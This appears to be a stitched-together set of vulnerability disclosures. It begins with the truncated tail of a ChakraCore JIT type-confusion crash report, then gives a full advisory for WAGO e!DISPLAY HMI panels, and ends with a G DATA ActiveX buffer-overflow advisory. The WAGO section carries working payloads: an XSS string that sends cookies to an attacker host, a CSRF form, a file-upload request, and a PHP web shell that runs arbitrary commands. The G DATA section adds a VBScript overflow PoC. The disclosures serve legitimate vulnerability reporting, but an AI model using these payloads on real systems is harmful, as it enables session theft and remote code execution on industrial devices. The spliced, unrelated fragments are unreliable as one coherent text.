0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>:  movzx  ecx,BYTE PTR [rbp-0x22])
0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>:   push   rbp)
0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ff7f385017a in ?? ()


Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.

What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var =  Conv_PrimStr   s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.
*/
            
SEC Consult Vulnerability Lab Security Advisory < 20180711-0 >
=======================================================================
              title: Remote code execution via multiple attack vectors
            product: WAGO e!DISPLAY 7300T - WP 4.3 480x272 PIO1
 vulnerable version: FW 01 - 01.01.10(01)
      fixed version: FW 02
         CVE number: CVE-2018-12979, CVE-2018-12980, CVE-2018-12981
             impact: High
           homepage: https://www.wago.com/
              found: 2018-04-25
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"New ideas are the driving force behind our success WAGO is a family-owned
company headquartered in Minden, Germany. Independently operating for three
generations, WAGO is the global leader of spring pressure electrical
interconnect and automation solutions. For more than 60 years, WAGO has
developed and produced innovative products for packaging, transportation,
process, industrial and building automation markets amongst others. Aside from
its innovations in spring pressure connection technology, WAGO has introduced
numerous innovations that have revolutionized industry. Further ground-breaking
inventions include: the WAGO-I/O-SYSTEM®, TOPJOB S® and WALL-NUTS®."

Source: http://www.wago.us/wago/

"For visualization tasks with CODESYS 2 and CODESYS 3: WAGO's new e!DISPLAY
7300T Web Panels help you reinforce the quality of your machinery and equipment
with a refined design and industry-leading software. Learn more about how the
right Web Panels make a difference.

HMI components are the finishing touch for machines or systems and they have an
overwhelming impact on purchase decisions. WAGO offers aesthetically pleasing
HMIs that leave a lasting impression and significantly increase both the value
and image of your machine or system. WAGO’s e!DISPLAY 7300T Web Panel is
available in 4.3'', 5.7'', 7.0'' and 10.1'' display sizes."

Source:
http://www.wago.us/products/components-for-automation/operation-and-monitoring/web-panels-edisplay-7300t/overview/index.jsp


Business recommendation:
------------------------
HMI displays are widely used in SCADA infrastructures. The link between
their administrative (or informational) web interfaces and the users which
access these interfaces is critical. The presented attacks demonstrate how
simple it is to inject malicious code in order to break the security of this
link by exploiting minimal user interaction.

As a consequence a computer which is used for HMI administration should not
provide any possibility to get compromised via malicious script code.

One possible solution may be e.g.:
   * Don't allow email clients
   * Don't provide Internet access at all on the HMI stations

SEC Consult recommends to immediately apply the available patches from the vendor.
A thorough security review should be performed by security professionals to
identify further potential security issues.


Vulnerability overview/description:
-----------------------------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
Reflected cross site scripting vulnerabilities were identified within multiple PHP
scripts in the admin interface. The parameter JSON input which is sent to the
device is not sanitized sufficiently. An attacker can exploit this
vulnerability to execute arbitrary scripts in the context of the attacked user
and gain control over the active session.

This vulnerability is present for authenticated and unauthenticated users!


2) Stored Cross-Site Scripting (CVE-2018-12981)
A stored cross-site scripting vulnerability was identified within the
"PLC List" which can be configured in the web interface of the e!Display. By
storing a payload there, an administrative or guest user can be attacked
without tricking them to visit a malicious web site or clicking on an
malicious link.

This vulnerability is only present for authenticated users!


3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
Arbitrary files can be uploaded to the system without any check. It is even
possible to change the location of the uploaded file on the system. As the
web service does not run as privileged user, it is not possible to upload a
file directly to the web root but on many other locations on the file system.
The normal user 'user' and the administrative user 'admin' can both upload
files to the system.


4) Incorrect Default Permissions (CVE-2018-12979)
Due to incorrect default permissions a file in the web root can be overwritten
by the unprivileged 'www' user. This is the same user which is used in the
context of the web server.


5) Remote code execution via multiple attack vectors
By stacking vulnerability 1)/2), 3) and 4) with this vulnerability an outside
attacker can place a malicious script on the device in order to execute arbitrary
commands as 'www'. This can be done by uploading a web shell or a reverse
shell.


Proof of concept:
-----------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
The affected endpoints are:
http://<IP-Address>/wbm/configtools.php
http://<IP-Address>/wbm/login.php
http://<IP-Address>/wbm/receive_upload.php

The following request is an example for reflected XSS within 'configtools.php':
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
Content-type: text/plain
[...]

{"sessionId":"","aDeviceParams":{"0":{"name":"firewall","parameter":["iptables","--get-xml"],"sudo":true,"multiline":true,"timeout":10000},"1":{"name":"firewall","parameter":["firewall","--is-enabled"],"sudo":true,"multiline":true,"timeout":10000,"dataId":"{DoNotParseAsXml}<img
src=x onerror=this.src='http://$attacker:8001/?c='+document.cookie>;"}}}
-------------------------------------------------------------------------------


Steal the cookie via XSS and send it to http://$attacker:8001?c=<Session-ID>:
-------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<IP-Address>/wbm/configtools.php" method="POST"
enctype="text/plain">
      <input type="hidden"
name="&#123;"sessionId"&#58;""&#44;"aDeviceParams"&#58;&#123;"0"&#58;&#123;"name"&#58;"firewall"&#44;"parameter"&#58;&#91;"iptables"&#44;"&#45;&#45;get&#45;xml"&#93;&#44;"sudo"&#58;true&#44;"multiline"&#58;true&#44;"timeout"&#58;10000&#125;&#44;"1"&#58;&#123;"name"&#58;"firewall"&#44;"parameter"&#58;&#91;"firewall"&#44;"&#45;&#45;is&#45;enabled"&#93;&#44;"sudo"&#58;true&#44;"multiline"&#58;true&#44;"timeout"&#58;10000&#44;"dataId"&#58;"&#123;DoNotParseAsXml&#125;<img&#32;src"
value="x&#32;onerror&#61;this&#46;src&#61;&apos;http&#58;&#47;&#47;&#46;&#46;&#46;&#58;8001&#47;&#63;c&#61;&apos;&#43;document&#46;cookie>&#59;"&#125;&#125;&#125;"
/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
-------------------------------------------------------------------------------


2) Stored Cross-Site Scripting (CVE-2018-12981)
To exploit this vulnerability malicious code has to be placed in the "PLC List"
by surfing to the endpoint http://<IP-Address>/app/index.html and clicking on
the tab "Application->PLC-List". By opening one of the configurable PLCs the
name can be changed in the box "Text:" in order to execute arbitrary script-
code. For example:
<img src=a onerror=alert('SEC_Consult_XSS');alert(document.cookie)>

The payload can also be placed on the device by using the following POST request:
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
[...]

{"sessionId":"<Valid session-ID>
","aDeviceParams":{"0":{"name":"config_plcselect","parameter":[2,"url=https://127.0.0.1:8001","txt=<img
src=a
onerror=alert('SEC_Consult_XSS');alert(document.cookie)>","vkb=enabled","mon=1"],"sudo":true}}}
-------------------------------------------------------------------------------


3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
The file path, the file name and the file content can be manipulated in any
way. There is no server-side check for malicious files.

-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293

-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="touchWbm"

true
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_type"

font
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="session_id"

<Valid session-ID>
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_directory"

/tmp/
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="font_file"; filename="any_file.sh"
Content-Type: application/x-font-ttf

any-content #!


-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------


4) Incorrect Default Permissions (CVE-2018-12979)
The file 'index.html' is owned by 'www' and can therefore also be overwritten
with a web shell.

www@WAGO_eDisplay:/var/www ls -la
drwxr-xr-x    5 root     root           488 XXX 99  2018 .
drwxr-xr-x   11 root     root           824 XXX 99  2018 ..
lrwxrwxrwx    1 root     root            16 XXX 99  2018 app -> /var/www/WagoWBM
-rw-r--r--    1 www      www            345 XXX 99  2018 index.html
drwxr-xr-x    7 root     root           776 XXX 99  2018 plclist
drwxr-xr-x    3 root     root           368 XXX 99  2018 WagoWBM
drwxr-xr-x    2 root     root           688 XXX 99  2018 wbm


5) Remote code execution via multiple attack vectors
By uploading a simple PHP shell and overwriting the 'index.html' file located
under the web root an attacker can place a web shell which is reachable without
any authentication.

-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293

-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="touchWbm"

true
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_type"

font
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="session_id"

<Valid session-ID>
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_directory"

/var/www/
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="font_file"; filename="index.html"
Content-Type: application/x-font-ttf

<html><body>
<form method="GET" name="SEC Consult PoC" action="">
<input type="text" name="command"><input type="submit" value="Send"></form>
<pre><?php if($_GET['command']){system($_GET['command']);} ?></pre>
</body></html>


-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------

The shell can now be reached via "http://<IP-Address>/index.html". It is also
possible to upload a reverse-shell to the system which connects to a computer
outside of the actual network.


Vulnerable / tested versions:
-----------------------------
The following device with the firmware version has been tested:

* e!DISPLAY 7300T - WP 4.3 480x272 PIO1 - 01.01.10(01)

According to WAGO the following e!DISPLAY versions are vulnerable:
762-3000 FW 01
762-3001 FW 01
762-3002 FW 01
762-3003 FW 01


Vendor contact timeline:
------------------------
2018-04-30: Sending encrypted advisory to VDE CERT for coordination support
            (info@cert.vde.com)
2018-05-02: Answer from VDE CERT that WAGO will be informed/contacted
2018-05-08: Status update from VDE CERT
2018-05-23: Asking for status update, no news from WAGO (via VDE CERT)
2018-06-08: VDE CERT: WAGO fixed the vulnerabilities and firmware is in
            testing phase
2018-06-12: WAGO requested more time, postponing release date, asking for
            affected & fixed versions
2018-06-13: VDE CERT will request CVE numbers
2018-06-17: WAGO scheduled the release for 2018-07-11
2018-06-26: VDE CERT sends WAGO advisory draft including affected/fixed versions
2018-07-04: VDE CERT sends final WAGO advisory incl. CVE numbers
2018-07-10: VDE CERT publishes security notice:
            https://cert.vde.com/de-de/advisories/vde-2018-010
2018-07-11: SEC Consult advisory release


Solution:
---------
Update the device to the latest available firmware (FW 02). For further
information see the vendor's security notifications page:

https://www.wago.com/de/automatisierungstechnik/security (German)

Direct link to English WAGO advisory:
https://www.wago.com/medias/SA-WBM-2018-004.pdf?context=bWFzdGVyfHJvb3R8MjgyNzYwfGFwcGxpY2F0aW9uL3BkZnxoMWUvaDg4LzkzNjE3NTIxOTUxMDIucGRmfDU1NmJkYjEzNDY0ZGU4OWQ1OTMyMjUwNTlmZTI0MzgwNDQ1MDY1YzU3OWRmZDk1NzYzODAwMDI3ODg1NDJlZjU



Workaround:
-----------
Restrict network access to the device, don't allow Internet access from the
HMI station and do not install software from untrusted sources.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
            
<!--
=====[ Tempest Security Intelligence - ADV-24/2018 ]===

G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow
Author: Filipe Xavier Oliveira
Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]=====================================================

* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Overview]==============================================================

* System affected : G DATA TOTAL SECURITY [1].
* Software Version : 25.4.0.3 (other versions may also be affected).
* Impact : A user may be affected by opening a malicious black list
email in the antispam filter,

=====[ Detailed description]==================================================
The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total
Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument.
Through a long input in a member of class called Antispam, isblackedlist
class is vulnerable a buffer overflow.

A poc that causes a buffer overflow :
-->

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' />
<script language='vbscript'>


'for debugging/custom prolog
targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll"
prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long"
memberName = "IsBlackListed"
progid = "GDASPAMLib.AntiSpam"
argCount = 1

arg1=String(14356, "A")

target.IsBlackListed arg1

</script></job></package>

<!--
=====[ Timeline of disclosure]===============================================

04/10/2018 - Vulnerability reported.
04/17/2018 - The vendor will fix the vulnerability.
05/24/2017 - Vulnerability fixed.

07/12/2018 - CVE assigned [1]

=====[ Thanks & Acknowledgements]============================================

- Tempest Security Intelligence / Tempest's Pentest Team [3]

=====[ References]===========================================================

[1] https://www.gdatasoftware.com/

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018

[3] http://www.tempest.com.br 

=====[ EOF]====================================================================
-->